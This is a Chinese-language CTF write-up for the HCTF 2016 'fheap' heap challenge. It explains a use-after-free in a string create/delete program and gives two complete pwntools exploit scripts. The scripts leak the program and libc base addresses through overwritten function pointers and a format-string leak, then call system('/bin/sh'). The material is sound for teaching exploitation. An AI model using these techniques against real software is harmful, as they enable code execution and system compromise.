hctf2016-fheap

用了三生在寻找 寻找我心中的宝
又用三世在祈祷 祈祷你会过的好

题目地址:https://github.com/zh-explorer/hctf2016-fheap

程序简介

程序中只有3个功能,一个create,一个delete然后一个quit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
+++++++++++++++++++++++++++
So, let's crash the world
+++++++++++++++++++++++++++
1.create string
2.delete string
3.quit
create
Pls give string size:20
str:aaaaa
The string id is 0
1.create string
2.delete string
3.quit
delete
Pls give me the string id you want to delete
id:0
Are you sure?:yes
1.create string
2.delete string
3.quit
quit
Bye~

在create的时候,程序设置了全局指针,指向我们申请的heap:

1
2
3
4
5
6
7
8
9
10
for ( i = 0; i <= 15; ++i )
{
if ( !*((_DWORD *)&unk_2020C0 + 4 * i) )
{
*((_DWORD *)&unk_2020C0 + 4 * i) = 1;
*((_QWORD *)&unk_2020C0 + 2 * i + 1) = ptr;
printf("The string id is %d\n", (unsigned int)i);
break;
}
}

并且create功能会先申请0x20字节的堆块存储结构,如果输入的字符串长度大于0xf,则另外申请对应长度的空间存储字符串,否则直接存储在之前申请的0x20字节的前16字节处,在最后,会将相关free函数的地址存储在堆存储结构的后八字节处;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nbytesa = strlen(&buf);
if ( nbytesa > 0xF )
{
dest = (char *)malloc(nbytesa);
if ( !dest )
{
puts("malloc faild!");
exit(1);
}
strncpy(dest, &buf, nbytesa);
*(_QWORD *)ptr = dest;
*((_QWORD *)ptr + 3) = sub_D6C;
}
else
{
strncpy(ptr, &buf, nbytesa);
*((_QWORD *)ptr + 3) = sub_D52;
}

程序在delete的时候没有将全局指针清空:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
  printf("Pls give me the string id you want to delete\nid:");
v1 = sub_B65();
if ( v1 < 0 || v1 > 16 )
puts("Invalid id");
if ( *((_QWORD *)&unk_2020C0 + 2 * v1 + 1) )
{
printf("Are you sure?:");
read(0, &buf, 0x100uLL);
if ( !strncmp(&buf, "yes", 3uLL) )
{
(*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1) + 24LL))(
*((_QWORD *)&unk_2020C0 + 2 * v1 + 1),
"yes");
*((_DWORD *)&unk_2020C0 + 4 * v1) = 0;
}
}
return *MK_FP(__FS__, 40LL) ^ v3;
}

checksec:

1
2
3
4
5
6
[*] '/home/sir/desktop/pwnf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

思路

我们可以利用use_after_free的方法,先申请2个小于16的heap,然后delete掉,然后再申请一个大小为32的heap,这样我们就可以拿到原来heap1 的位置,然后可以覆盖free函数的指针,改为我们需要的函数,然后就可以use_after_free了;
因为程序开启了PIE,所以我们需要先泄露出程序基地址,然后泄露出libc;
主要先用puts函数泄露出程序基地址,然后在用printf函数的格式化字符串方式泄露出libc;

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './pwnf'
p = process(name)
#p=remote('chall.pwnable.tw', 10103)
elf= ELF(name)
#libc = ELF('./libc_32.so.6')
if args.G:
gdb.attach(p)

# puts_offset = 0xd1a
# printf_pffset = 0xdbb
def create(num,data):
p.recvuntil('3.quit\n')
p.sendline('create ')
p.recvuntil('Pls give string size:')
p.sendline(str(num))
p.recvuntil('str:')
p.send(data)

def delete(num):
p.recvuntil('3.quit\n')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline(str(num))
p.recvuntil('Are you sure?:')
p.send("yes")

create(5,'a'*5) #0
create(5,'b'*5) #1

delete(1)
delete(0)

#leak
pay1 = 'q'*20 + 's'*4 + '\x1a' #因为函数后1.5字节的内容不变,先将free函数的地址覆盖为puts函数;
create(32,pay1)
delete(1)
p.recvuntil('s'*4)
puts_addr = u64(p.recv(6) + '\x00\x00')
proc_base = puts_addr - 0xd1a
printf_addr = proc_base + 0x9d0

delete(0)
pay2 = 'a'*8 + '%30$p' + 's'*11 + p64(printf_addr)
create(32,pay2)
delete(1)
x = p.recv()
libc_addr = int(x[8:22],16) - 0x3b5760
system_addr = libc_addr + 0x42510

#getshell
p.sendline('')
delete(0)
pay3 = '/bin/sh;' + 's'*16 + p64(system_addr)
create(32,pay3)
delete(1)


success("proc_base: " + hex(proc_base))
success("puts_addr: " + hex(puts_addr))
success("printf_addr: " + hex(printf_addr))
success("system_addr: " + hex(system_addr))

p.interactive()

总结

对于堆方面的题目,主要全局指针和程序中的delete操作;
这道题理论上将应该可以用DynELF的方法找system_adrr的,但是我跑exp一个多小时都没有leak出来…..
这里贴DynELF方法的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './pwnf'
p = process(name)
#p=remote('chall.pwnable.tw', 10103)
elf= ELF(name)
#libc = ELF('./libc_32.so.6')
if args.G:
gdb.attach(p)

# puts_offset = 0xd1a
# printf_pffset = 0xdbb
def create(num,data):
p.recvuntil('3.quit\n')
p.sendline('create ')
p.recvuntil('Pls give string size:')
p.sendline(str(num))
p.recvuntil('str:')
p.send(data)

def delete(num):
p.recvuntil('3.quit\n')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline(str(num))
p.recvuntil('Are you sure?:')
p.send("yes")

def leak(addr):
delete(0)
pay1 = 'aaaaaaaa' + '%9$x' + 'q'*12 + p64(printf_addr)
create(32,pay1)
pay = 'yes11111' + p64(addr)
p.recvuntil('3.quit\n')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('Are you sure?:')
p.sendline(pay)
p.recvuntil('aaaaaaaa')
context = p.recv(8)
print("%#x -> %s" %(addr, (context or '').encode('hex')))
return context


create(5,'a'*5)
create(5,'b'*5)

delete(1)
delete(0)

pay1 = 'q'*20 + 's'*4 + '\x1a'
create(32,pay1)
delete(1)
#find proc_base printf_addr
p.recvuntil('s'*4)
puts_addr = u64(p.recv(6) + '\x00\x00')
proc_base = puts_addr - 0xd1a
printf_addr = proc_base + 0x9d0
#leak
d = DynELF(leak,proc_base,elf = elf)
system_addr = d.lookup('system','libc')

p.sendline('')
delete(0)
pay3 = '/bin/sh;' + 's'*0x10 + p64(system_addr)
create(32,pay3)
delete(1)

success("proc_base: " + hex(proc_base))
success("puts_addr: " + hex(puts_addr))
success("printf_addr: " + hex(printf_addr))
success("system_addr: " + hex(system_addr))

p.interactive()

文章目录
  1. 1. 程序简介
  2. 2. 思路
  3. 3. EXP
  4. 4. 总结
,